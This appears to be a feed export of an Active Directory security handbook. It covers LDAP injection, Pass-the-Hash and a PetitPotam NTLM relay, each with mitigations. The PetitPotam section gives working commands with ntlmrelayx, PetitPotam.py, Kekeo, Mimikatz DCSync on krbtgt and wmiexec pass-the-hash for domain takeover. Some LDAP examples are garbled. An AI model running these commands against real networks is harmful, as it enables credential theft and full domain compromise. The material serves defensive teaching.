</code></pre><p>As the LDAP server processes only the first filter, the second filter gets ignored, and the query that gets executed is &ldquo;(&amp;(directory=Information)security level=*)&rdquo;. This allows the attacker to gain access to a list of documents that would otherwise only be accessible to users with a high security level, even though the attacker does not have the proper privileges.</p>
<h4 id="ldap-injection-type-2-access-control-bypass">LDAP Injection Type 2: Access control bypass</h4>
<p>All login pages contain two fields for user input, one for the username and another for thepassword. The inputs are labeled as USER (username) and PASSWORD (password). Theclient provides a username/password pair and LDAP confirms the existence of this pair byconstructing search filters and sending them to the LDAP server.</p>
<p>The filter is written as (&amp;(USER=Alice)(PASSWORD=PaSsW0rd!+). However, an attacker canmanipulate this by entering a valid username and injecting a sequence after it, effectivelybypassing the password check. By knowing the username, the attacker can enter any stringas the password value, resulting in the following query being sent to the server:(&amp;(USER=Alice)(PASSWORD=PaSsW0rd!+).</p>
<p>The LDAP server only processes the first filter, ignoring the second one, which allows theattacker to enter the system without a proper password as the query (&amp;(USER=Alice)(&amp;)) isalways correct.</p>
<h4 id="ldap-injection-type-3-information-disclosure">LDAP Injection Type 3: Information disclosure</h4>
<p>A resource explorer allows a user to see what resources are available on the system, such asa website that sells clothing. For example, a user can search for a specific item, such asnotebooks or stickers, to see if they are available for sale. This is done using an LDAP query,such as: (|(type=Notebooks)(type=Stickers)).</p>
<p>However, a hacker can exploit this by injecting the string &ldquo;uid=<em>&rdquo; into the query, resulting inthe following query: (|(type=Notebooks)(uid=</em>))(type=Stickers)).</p>
<p>This query will be processed by the LDAP server, displaying not only all the available jeansbut also all the user objects in the system.</p>
<h3 id="mitigation-techniques-for-an-ldap-injection-attack">Mitigation Techniques for an LDAP Injection Attack</h3>
<p>There are a couple of mitigation techniques to prevent a possible LDAP Injection attack <sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>.</p>
<h4 id="mitigation-technique-1-escaping-all-variables-using-the-right-ldap-encoding">Mitigation Technique 1: Escaping all variables using the right LDAP encoding</h4>
<p>Escaping all variables using the right LDAP encoding is one of the key mitigation techniques against LDAP injection attacks. This technique involves encoding all user-supplied input in a way that makes it difficult for attackers to inject malicious payloads into LDAP queries.</p>
<h4 id="mitigation-technique-2-distinguished-name-escaping">Mitigation Technique 2: Distinguished name escaping</h4>
<p>LDAP uses DN, or Distinguished Name, to store and identify names in its database. A DN acts like a unique identifier, similar to a username, and can be used to access resources.</p>
<p>A DN is made up of multiple parts, separated by commas. For example, a DN could look like this <sup id="fnref1:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>:</p>
<pre tabindex="0"><code>cn=Richard Feynman, ou=Physics Department, dc=Caltech, dc=edu
</code></pre><p>Certain characters in a DN are considered special characters and need to be properly escaped or handled to avoid issues with the DN. The exhaustive list of special characters in a DN includes \ # + &lt; &gt; , ; &quot; = and leading or trailing spaces.</p>
<p>However, there are also &ldquo;special&rdquo; characters that are allowed in Distinguished Names and do not need to be escaped. These include * ( ) . &amp; - _ [ ] ` ~ | @ $ % ^ ? : { } ! &lsquo;.</p>
<p>It&rsquo;s important to properly handle special characters in a DN to ensure that the DN functions as expected and to avoid any issues or unintended consequences when using the DN.</p>
<h4 id="mitigation-technique-3-search-filter-escaping">Mitigation Technique 3: Search filter escaping</h4>
<p>In the LDAP database, each DN, or Distinguished Name, uniquely points to a single entry, which can be thought of as a row in a relational database management system (RDBMS). Each entry contains one or more attributes, similar to columns in an RDBMS. Search filters can be used to search through the LDAP database and find entries with specific attributes.</p>
<p>Search filters use Polish notation, also known as prefix notation, to specify the conditions for the search. For example, the following search filter would return all entries in the Physics organizational unit that have Freeman Dyson or Albert Einstein as their manager <sup id="fnref2:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>.</p>
<pre tabindex="0"><code>(&amp;(ou=Physics)(|(manager=cn=Freeman
Dyson,ou=Physics,dc=Caltech,dc=edu)(manager=cn=Albert
Einstein,ou=Physics,dc=Princeton,dc=edu)))
</code></pre><p>When building LDAP queries in application code, it&rsquo;s crucial to escape any untrusted datathat is added to the query to prevent security issues. There are two forms of LDAP escaping:encoding for LDAP search and encoding for LDAP DN. The proper form of escaping dependson whether the data is being used in a search filter or as a DN as a credential for accessinga resource.</p>
<p>Special characters such as &ldquo;(&rdquo;, &ldquo;)&rdquo;, and &quot;&quot; must be properly escaped when used in asearch filter to ensure the query is executed as intended. To learn more about search filterescaping, visit the RFC4515 document <sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup>.</p>
<h4 id="additional-defenses">Additional Defenses</h4>
<p>To provide an additional layer of protection against LDAP injection attacks, organizations canimplement the following defense measures:</p>
<p><strong>Least Privilege</strong>: Limit the privileges assigned to the LDAP binding account, which is theaccount used for accessing the LDAP directory, to minimize the potential damage in case ofa successful attack.</p>
<p><strong>Enable Bind Authentication</strong>: Configure the LDAP protocol to require bind authentication,which verifies and authorizes valid credentials passed by the user <sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup>. However, attackersmay still be able to bypass bind authentication through Anonymous Bind <sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup> andUnauthenticated Bind <sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup>. Hence, these Bind options also should be disabled.</p>
<p><strong>Allow-List Input Validation</strong>: Implement input validation techniques to detect and preventunauthorized input from being passed to the LDAP query. This can help ensure that onlyapproved values are used in the construction of LDAP queries, reducing the risk of asuccessful LDAP injection attack. These validation techniques may include using regularexpressions, data type, and length restrictions, and cross-reference checks against externallists or databases <sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup>.</p>
<h2 id="petitpotam-ntlm-relay-attack-on-a-active-directory-certificate-services-ad-cs">PetitPotam NTLM Relay Attack on a Active Directory Certificate Services (AD CS)</h2>
<p>The PetitPotam NTLM relay attack is a type of cyberattack that takes advantage of thelegacy protocol Windows NTLM and the MS-EFSRPC protocol. This attack takes advantageof the insecure default configuration of the Active Directory Certificate Services (AD-CS),which does not enforce Extended Protection for Authentication (EPA).</p>
<p>In this attack, an attacker can trigger a domain controller authentication by exploiting the PetitPotam vulnerability and relaying it to the AD-CS server to request a certificate for thedomain controller account. Using this certificate, the attacker can then retrieve a TGT(Ticket Granting Ticket) for the relayed domain controller account and perform any furtheroperations using its high privileges. This can lead to a full domain compromise in a few stepsand potentially allow the attacker to dump domain admin hashes.</p>
<p>It&rsquo;s important to note that this vulnerability was partially mitigated by a security updatereleased by Microsoft on Patch Tuesday, May 10, 2022, but an attack is still possible if anattacker has any Active Directory account credentials.</p>
<h3 id="techniques-to-perform-a-petitpotam-ntlm-relay-attack-on-active-directory-certificate-services-ac-dc">Techniques to Perform a PetitPotam NTLM Relay Attack on Active Directory Certificate Services (AC DC)</h3>
<p>In the following scenario, we are going to demonstrate how an adversary can exploit the PetitPotam vulnerability to obtain full domain administrator privileges without requiring a prior authentication.</p>
<p>A typical PetitPotam NTLM Relay attack consists of five steps <sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup>.</p>
<h4 id="step-1-relaying-the-ad-dc-web-enrollment-page">Step 1: Relaying the AD DC web enrollment page</h4>
<p>In the first step, the attacker has to ensure that Impacket’s ntlmrelay.px is set-up to relay to the AD DC Web Enrollment page.</p>
<pre tabindex="0"><code>sudo python3 ntlmrelayx.py -debug -smb2support --target
http://&lt;target-ip&gt;/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
…
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
</code></pre><p>Note that the flag &ldquo;&ndash;target&rdquo; specifies the target URL to attack. In this case, the target is acertificate server endpoint. The flags &ldquo;&ndash;adcs&rdquo; and &ldquo;&ndash;template KerberosAuthentication&rdquo; indicate that the target is an Active Directory Certificate Services (ADCS) server and thatthe tool will use a specific authentication template. The flags &ldquo;-debug&rdquo; and &ldquo;-smb2support&rdquo; are for debugging purposes and for supporting SMB version 2, respectively.</p>
<h4 id="step-2-exploiting-the-petitpotam-vulnerability">Step 2: Exploiting the PetitPotam vulnerability</h4>
<p>To exploit the PetitPotam vulnerability, we both need to specify the DC and the attacker IP.</p>
<p>PetitPotam.py can be downloaded from its official GitHub repository <sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup>.</p>
<pre tabindex="0"><code>python3 Petitpotam.py &lt;listener-ip&gt; &lt;target-ip&gt;
</code></pre><p>Note that while the listener-ip is the attacker’s relay IP, the target-ip is the IP of the DC that the attacker is targeting. Once the adversary exploits the PetitPotam vulnerability, the credentials would be relayed to the AD CD, where the certificate will be enrolled.</p>
<pre tabindex="0"><code>... #See the first step.
[*] Servers started, waiting for connections
...
[*] GOT CERTIFICATE!
[*] Base64 certificate of user DC-101$:
MIIRXQIBAz...LUSHLJCNIKmzEStB/3еу&lt;ZKk31GbxwDU8t8wtx0YayLkKaJB5/c/tanzuJ10r08obkt
/nzJeyQxgyurLwrPp8HAUYnBCG3vwBUkzxbxotRtlnHrzztzVc/SA....
</code></pre><h4 id="step-3-obtaining-a-ticket-granting-ticket-tgt">Step 3: Obtaining a Ticket Granting Ticket (TGT)</h4>
<p>Now that it is enrolled, the attacker can use this certificate to obtain a Ticket Granting Ticket (TGT). For this step, the attacker can leverage the kekeo or Rubeus tool <sup id="fnref:18"><a href="#fn:18" class="footnote-ref" role="doc-noteref">18</a></sup>:</p>
<pre tabindex="0"><code>Kekeo # base64 /input:on
. . .
Kekeo # tgt::ask /pfx:&lt;base64 cert from relay&gt; /user:DC-101$
/domain:EXAMPLE.local /ptt
</code></pre><p>This command successfully authenticates the adversary with the domain.</p>
<h4 id="step-4-dcsyncing-the-target-user">Step 4: DCSyncing the target user</h4>
<p>In this step, the attacker can use Mimikatz to perform a DCSync attack on the krbtgt user.</p>
<pre tabindex="0"><code>lsadump::dcsync /domain:EXAMPLE.local /user:krbtgt
</code></pre><p>Note that with the command the attacker is specifying the domain to target (&ldquo;EXAMPLE.local&rdquo;) and the user to impersonate (&ldquo;krbtgt&rdquo;), which is a privileged account in Active Directory that is used to perform various administrative tasks, including issuing Kerberos tickets.</p>
<p>“lsadump::dcsync” function, on the other hand, is used to perform a &ldquo;DCSync&rdquo; attack, whichis a type of attack that allows an attacker to simulate the behavior of a Domain Controllerand retrieve password hashes, Kerberos tickets, and other sensitive information from the Active Directory database. Hence, upon running this command, the adversary gains thepassword hash of the krbtgt user: 186c026974e59a14040dbc63aa8fb8c4.</p>
<h4 id="step-5-passing-the-hash">Step 5: Passing the hash</h4>
<p>In this step, the adversary can use Impacket’s wmiexec.py tool to pass the hash that theyobtained from the fifth step to obtain an interactive shell on the Domain Controller.</p>
<pre tabindex="0"><code>wmiexec.py -hashes :186c026974e59a14040dbc63aa8fb8c4 EXAMPLE/krbtgt@&lt;target-ip&gt;
</code></pre><p>In simpler terms, these two bugs work together to quickly allow someone with limitedaccess to gain complete control over a network or system. Even if the network or system isfully updated with the latest security patches, these bugs can still be used to cause serious harm in just a few minutes.</p>
<h3 id="mitigation-techniques-for-a-petitpotam-ntlm-relay-attack-on-active-directory-certificate-services-ad-cs">Mitigation Techniques for a PetitPotam NTLM Relay Attack on active Directory Certificate Services (AD CS)</h3>
<p>To secure networks against NTLM Relay Attacks, domain administrators must take steps toprotect NTLM authentication-enabled services. The PetitPotam threat exploits servers thatlack safeguards for NTLM Relay Attacks in Active Directory Certificate Services (AD CS). This mitigation guidance provides steps for AD CS customers to protect their servers fromthis type of attack.</p>
<p>If you are using AD CS with the following services, your network may be vulnerable:</p>
<ul>
<li>Certificate Authority Web Enrollment</li>
<li>Certificate Enrollment Web Service.</li>
</ul>
<p>Microsoft suggests the following steps to mitigate potential attacks on AD CS servers <sup id="fnref:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup>:</p>
<p><strong>Step 1</strong>: Enable Extended Protection for Authentication (EPA) for Certificate Authority Web Enrollment and Certificate Enrollment Web Service. This can be done through the Internet Information Services (IIS) Manager, with &ldquo;Required&rdquo; being the recommended and most secure option.</p>
<p><strong>Step 2</strong>: Update the Web.config file created by the Certificate Enrollment Web Service role,located at <code>&lt;%windir%&gt;\systemdata\CES&lt;CA Name&gt;_CES_Kerberos\web.config</code>, to reflect theselected EPA setting.</p>
<p><strong>Step 3</strong>: This can be done by adding <code>&lt;extendedProtectionPolicy&gt;</code> with a value of either&quot;WhenSupported&quot; or &ldquo;Always&rdquo;, depending on the EPA setting in the IIS UI. The &ldquo;Always&rdquo; setting should be used when the EPA setting is set to &ldquo;Required&rdquo;.</p>
<p><strong>Step 4</strong>: Enable SSL-only connections by enabling the &ldquo;Require SSL&rdquo; option in IIS Manager.</p>
<p><strong>Step 5</strong>: After completing these steps, it is important to restart IIS to load the changes. This can be done by opening an elevated Command Prompt window, and typing the following command:</p>
<pre tabindex="0"><code>iisreset /restart
</code></pre><p>Note that this command stops all IIS services, and then restarts them.</p>
<p>For more information on the available options for <code>&lt;extendedProtectionPolicy&gt;</code>, refer to the <code>&lt;transport&gt;</code> of <code>&lt;basicHttpBinding&gt;</code>. A sample configuration is provided <sup id="fnref1:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup>:</p>
<pre tabindex="0"><code>&lt;binding name=&#34;TransportWithHeaderClientAuth&#34;&gt;
 &lt;security mode=&#34;Transport&#34;&gt;
 &lt;transport clientCredentialType=&#34;Windows&#34;&gt;
 &lt;extendedProtectionPolicy policyEnforcement=&#34;Always&#34; /&gt;
 &lt;/transport&gt;
 &lt;message clientCredentialType=&#34;None&#34; establishSecurityContext=&#34;false&#34;
negotiateServiceCredential=&#34;false&#34; /&gt;
 &lt;/security&gt;
 &lt;readerQuotas maxStringContentLength=&#34;131072&#34; /&gt;
&lt;/binding&gt;
</code></pre><h2 id="conclusion">Conclusion</h2>
<p>In conclusion, the increasing frequency and sophistication of attacks targeting Active Directory are evident. The common attacks discussed in this report, such as Pass the Hash, Pass the Ticket, Kerberoasting, Golden Ticket, DC Shadow, AS-REP Roasting, LDAPInjection, and PetitPotam NTLM Relay Attack, exemplify the myriad ways adversaries canexploit vulnerabilities within an organization&rsquo;s Active Directory infrastructure.</p>
<p>Considering the crucial role Active Directory plays in regulating access to anorganization&rsquo;s sensitive data and resources, it is imperative for organizations to adoptproactive measures to defend against these types of attacks. This necessitates amulti-layered approach, incorporating regular security audits, vulnerability assessments,and continuous monitoring to detect and address threats in real time.</p>
<p>It is crucial to recognize that attackers constantly adapt their tactics, requiringorganizations to remain vigilant and consistently update their security measures to stayahead of emerging threats. By investing in comprehensive security measures and closelymonitoring the evolving threat landscape, organizations can mitigate the risk of fallingvictim to an Active Directory attack.</p>
<h2 id="references">References</h2>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/">“Detecting a Rogue Domain Controller - DCShadow Attack”</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://www.netwrix.com/how_dcshadow_persistence_attack_works.html">“DCShadow Attack using Mimikatz”</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-513">“5136(S): A directory service object was modified”</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf">“Detecting Lateral Movement through Tracking Event Logs”</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/as-rep-roasting">“AS-REP Roasting”</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://www.blumira.com/how-to-detect-as-rep-roasting/">“How To Detect AS-REP Roasting With”</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/as-rep-roasting">“AS-REP Roasting”</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/">“Cracking Active Directory Passwords with AS-REP Roasting”</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://brightsec.com/blog/ldap-injection/">“Complete Guide to LDAP Injection: Types, Examples, and Prevention”</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html">“LDAP Injection Prevention - OWASP Cheat Sheet Series”</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://datatracker.ietf.org/doc/html/rfc4515">“RFC ft-ietf-ldapbis-filter: Lightweight Directory Access Protocol (LDAP): String Representation of Search Filters”</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://ldap.com/the-ldap-bind-operation/">“The LDAP Bind Operation”</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p><a href="https://www.tenable.com/audits/items/TNS_Oracle_WebLogic_10_Security_Guide_Linux.audit:8bc4cb19c1fe0abfc3edcf804e7603f0">“3.4 - Anonymous Bind on LDAP server should be disabled”</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p><a href="https://blog.devolutions.net/2021/03/why-active-directory-ldap-unauthenticated-binds-should-be-disabled-and-how-to-do-it/">“Why Active Directory LDAP Unauthenticated Binds Should Be Disabled, and How to Do It”</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p><a href="https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html">“Input Validation - OWASP Cheat Sheet Series”</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p><a href="https://www.truesec.com/hub/blog/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory">“From Stranger to DA // Using PetitPotam to NTLM relay to Domain Administrato”</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p><a href="https://github.com/topotam/PetitPotam">“GitHub - topotam/PetitPotam: PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions”</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:18">
<p><a href="https://www.youtube.com/watch?v=K0N90sI_GhI">PetitPotam | NTLM Relay Attacks | AD CS | Mimikatz | Rubeus | Domain Takeover</a>&#160;<a href="#fnref:18" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:19">
<p><a href="https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429">“KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS)”</a>&#160;<a href="#fnref:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content></item><item><title>The Complete Active Directory Security Handbook (Part-1)</title><link>https://blzr.sbs/posts/complete-active-directory-security-handbook-1/</link><pubDate>Mon, 15 Apr 2024 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/complete-active-directory-security-handbook-1/</guid><description>Exploitation, Detection, and Mitigation Strategies</description><content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Active Directory (AD), introduced with Windows 2000 <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, has become an integral part of modern organizations, serving as the backbone of identity infrastructure for 90% of Fortune 1000 companies <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>. Active Directory is widely used by organizations for its simplicity and centralized management approach. It is an attractive solution for businesses as it makes it easier for employees to access resources and applications with a single set of credentials, which increases productivity and efficiency <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>. Additionally, its centralized management structure provides a single point of control for IT administrators, allowing them to manage users, computers, and access to resources in one place <sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>.</p>
<p>However, due to its widespread use and architectural limitations, Active Directory becomes a liability in the event of a security breach and becomes a priority target for adversaries seeking to elevate privileges, infect multiple systems, and launch devastating attacks such as data exfiltration, full system compromises, and ransomware.</p>
<p>The biggest challenges in recovery after an AD breach include identifying the source, determining the extent of damage, and creating a secure new environment. According to Verizon’s 2022 Data Breach Investigations Report <sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>, 80% of breaches come from external agents, and as IBM&rsquo;s 2021 Cost of a Data Breach Report points out that once a domain admin is hacked, attackers can hide within your network for up to 277 days before detection, posing a significant threat <sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<p>The widespread use and ease of access to resources for employees make it challenging for organizations to retire outdated Active Directory (AD) and adopt more secure alternatives like Microsoft Azure Active Directory (AAD). The transition to AAD addresses some of AD&rsquo;s limitations by automating administrative tasks such as user management and group membership assignment for improved efficiency <sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>. However, the same security risks still apply, as a compromise of the identity infrastructure can have devastating consequences. Adversaries can also exploit Microsoft Endpoint Manager to move laterally from an Azure tenant to an on-prem AD domain, creating attack paths between separate identity management environments <sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>.</p>
<p>The importance of Active Directory security cannot be overstated, and organizations must be prepared with disaster recovery plans and vigilant monitoring to stop attacks before the system is corrupted or becomes irreparable. The choice between AD and AAD will largely depend on the needs and resources of the organization, but the risk of compromise remains regardless of choice. The secure and effective use of Active Directory requires a clear understanding of the potential risks and a commitment to security practices and protocols.</p>
<h2 id="active-directory">Active Directory</h2>
<p>Active Directory (AD) is a crucial directory service for managing network resources in Windows-based networks. It enables the centralization of management for various network resources, including user and computer accounts, resources, and security policies. In this way, AD facilitates efficient and secure management of networks in a hierarchical structure.</p>
<p>AD operates on a hierarchical structure consisting of domains at the top level and various objects nested within, such as users, computers, and groups. The structure is designed to provide an organized and efficient way of managing network resources, and it ensures that security policies are enforced consistently across the network.</p>
<p>AD uses Lightweight Directory Access Protocol (LDAP) for communication between domains and domain controllers. LDAP is a directory service protocol that enables the management of distributed directory services over an IP network. Additionally, AD employs Kerberos, a secure authentication protocol for authentication over a network. This ensures that only authorized users and computers can access network resources, thereby enhancing network security.</p>
<p>To manage network resources efficiently, Active Directory uses Group Policy Objects (GPOs). GPOs are used to control and enforce security policies, software deployment, and other administrative tasks across the network. AD also provides support for Remote Procedure Calls (RPCs), allowing for remote management of network resources. This ensures that network administrators can efficiently manage network resources from a  centralized location, regardless of the location of the resources themselves.</p>
<p>However, Active Directory is not immune to attacks, and attacks on AD can result in disastrous consequences for the network. Successful Active Directory attacks consist of three primary steps: discovery, privilege escalation through theft of valid account credentials, and gaining access to other computers in the network/domain. Once attackers gain a foothold in the target network, they immediately shift their focus to gaining elevated access to additional systems that will help them accomplish their final goal, such as encrypting and exfiltrating organizational data.</p>
<p>In summary, Active Directory is a vital component for managing and securing network resources in Windows-based networks. Its hierarchical structure and various features, such as LDAP and Kerberos, GPOs, and RPCs, provide efficient and secure management of network resources. To keep your network secure, it is critical to protect Active Directory from attacks by implementing strong security measures and keeping security protocols up-to-date to prevent unauthorized access to network resources.</p>
<h2 id="use-of-alternate-authentication-methods-t1550">Use of Alternate Authentication Methods (T1550)</h2>
<p>Adversarial attacks on a system can often bypass normal access controls by using alternate authentication materials such as password hashes, Kerberos tickets, and application access tokens. This technique, known as T1550 in the MITRE ATT&amp;CK framework, enables attackers to move laterally within an environment and gain unauthorized access.</p>
<p>This section will provide a detailed description of two sub-techniques of the Use Alternate Authentication Methods (T1150) technique: Pass-the-Hash (T1550.002) and Pass-the-Ticket (T1550.003).</p>
<h3 id="pass-the-hash-t1550002">Pass-the-Hash (T1550.002)</h3>
<p>Pass-the-Hash (PtH) is an identity-based attack that is leveraged by attackers to gain access to additional systems and privileges within a network once they have already compromised the system.</p>
<p>In a typically Pass-the-Hash scenario, adversaries</p>
<ul>
<li>gain initial access to a target network,</li>
<li>steals/dumps “hashed” user credentials,</li>
<li>uses dumped credentials</li>
</ul>
<p>to create a new user session on the compromised host.</p>
<p>As opposed to other attacks, Pass-the-Hash attacks represent a unique form of credential theft in which an attacker leverages the Windows New Technology LAN Manager (NTLM) authentication protocol to authenticate to a remote system using the pre-computed hash of a valid user&rsquo;s password. When a user logs into a Windows system that relies on the NTLM protocol, the system generates an NTLM hash of the user&rsquo;s password without leveraging a technique called <strong>salting</strong> that enhances the security of hashed passwords stored on servers and domain controllers.</p>

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">A hash is a unique digested output of a one-way mathematical function that takes an input of various sizes (could be as long as a classical novel or short as an 8-digits password) and returns a fixed-size string of characters. As these functions are designed to be one-way, meaning that having an output, it should be computationally infeasible for an adversary to reverse the output, i.e., to gain the cleartext input, password hashing is still a prevalent security practice against data-breach attacks.</div>
    </aside>
<p><strong>NTLM</strong> is a single sign-on method that utilizes a challenge-response system to verify the user&rsquo;s identity without requiring the user&rsquo;s password. Therefore, this attack technique does not require adversaries to use any third-party cracking tools, as the plaintext version of the password is not needed; therefore, it eliminates the need to perform time-consuming cracking operations.</p>
<p>If an attacker obtains the NTLM hash of a user&rsquo;s password through means such as extracting it from lsass.exe memory or from the %systemroot%\system32\config\SAM file, capturing it during network transmissions, or dumping it from a backup or image of a system, they can utilize the hashed password by passing the hash to a remote system that recognizes the compromised user&rsquo;s account. Depending on the privileges and level of access of the compromised user, adversaries may gain full system access and successfully perform lateral movement attacks.</p>

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">It is important to note that this is not a vulnerability, but rather a deliberate design choice aimed at reducing friction and improving the overall user experience.</div>
    </aside>
<h3 id="tools-and-techniques-to-perform-pass-the-hash-attacks">Tools and Techniques to Perform Pass-the-Hash Attacks</h3>
<p>Pass-the-Hash (PtH) attacks can be executed by utilizing various publicly available tools, such as Mimikatz <sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> and evil-winrm <sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>, as well as built-in PowerShell cmdlets. Attackers often employ these tools or commands to extract the hash from the memory of a compromised system and then use it to gain access to other systems on the network.</p>
<h4 id="tool-1-mimikatz">Tool 1: Mimikatz</h4>
<p>The usage of Mimikatz for the Pass-the-Hash attack consists of three main steps.</p>
<h5 id="step-1-stealing-the-password-hash">Step 1: Stealing the password hash</h5>
<p>To dump a list of recently logged-on users and their OS credentials, adversaries often use the sekurlsa module in Mimikatz, which leverages a number of different techniques to extract authentication information from LSASS memory, including parsing memory structures and using Windows APIs. The &ldquo;logonpasswords&rdquo; function of this module specifically extracts login session data such as saved password hashes and cached credentials. This can include the current user&rsquo;s logon information, as well as information for other users who have logged onto the same machine.</p>
